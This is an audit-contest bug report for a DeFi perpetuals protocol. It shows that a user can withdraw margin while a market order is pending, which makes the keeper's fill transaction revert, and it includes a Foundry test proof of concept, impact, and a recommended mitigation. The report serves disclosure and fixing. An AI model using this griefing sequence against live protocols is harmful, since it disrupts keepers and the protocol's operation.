DeFiFoundry
60,000 USDC
View results
Submission Details
Severity: low
Valid

User can withdraw all of his funds while having an active market order thus DOSing keeper

Summary

The user can withdraw all of his funds while having an active market order in place thus allowing him to DOS the keeper when it tries to fill his order.

Vulnerability Details

Steps to reproduce the issue:

  1. User deposits funds

  2. Opens market order

  3. Withdraws funds

  4. The market order is still present

  5. Keeper tries to fillMarketOrder()

  6. Transaction reverts

POC

Make the following changes to simulateTrade.t.sol and run the test with forge test --mt test_dos_keeper_by_withdraw -vvvv

...
+ import { OrderBranch } from "@zaros/perpetuals/branches/OrderBranch.sol";
contract SimulateTradeIntegrationTest is Base_Test {
...
+ function test_dos_keeper_by_withdraw() public {
+ // user deposit funds
+ uint256 marginValueUsd = 5000e18;
+ deal({ token: address(usdz), to: users.naruto.account, give: marginValueUsd });
+ uint128 tradingAccountId = createAccountAndDeposit(marginValueUsd, address(usdz));
+ uint128 marketId = 1;
+
+ // user make market order
+ perpsEngine.createMarketOrder(
+ OrderBranch.CreateMarketOrderParams({
+ tradingAccountId: tradingAccountId,
+ marketId: marketId,
+ sizeDelta: 1e18
+ })
+ );
+ // user withdraws the funds
+ perpsEngine.withdrawMargin(tradingAccountId, address(usdz), marginValueUsd);
+ // keeper fills order
+ MarketConfig memory fuzzMarketConfig = getFuzzMarketConfig(marketId);
+ bytes memory firstMockSignedReport = getMockedSignedReport(fuzzMarketConfig.streamId, fuzzMarketConfig.mockUsdPrice);
+ address keeper = marketOrderKeepers[marketId];
+ changePrank({ msgSender: keeper });
+ // fillMarketOrder call reverts because there isn't any margin in the account
+ vm.expectRevert();
+ perpsEngine.fillMarketOrder(tradingAccountId, marketId, firstMockSignedReport);
+ }
...
}

Impact

Market order keeper can be DOSed and user can withdraw his funds while having an active market order ready to be filled.

Tools Used

Manual Review

Recommended Mitigation

Upon withdraw check if the user has an existing market order for this market and check if the withdraw transaction should revert or clear the market order.

Be careful if you decide to clear the the market order in this situation because this should be under the condition that the minimum order lifetime has already passed.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

The Keeper can be griefed by a user who withdraw's the collateral when having a pending position

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!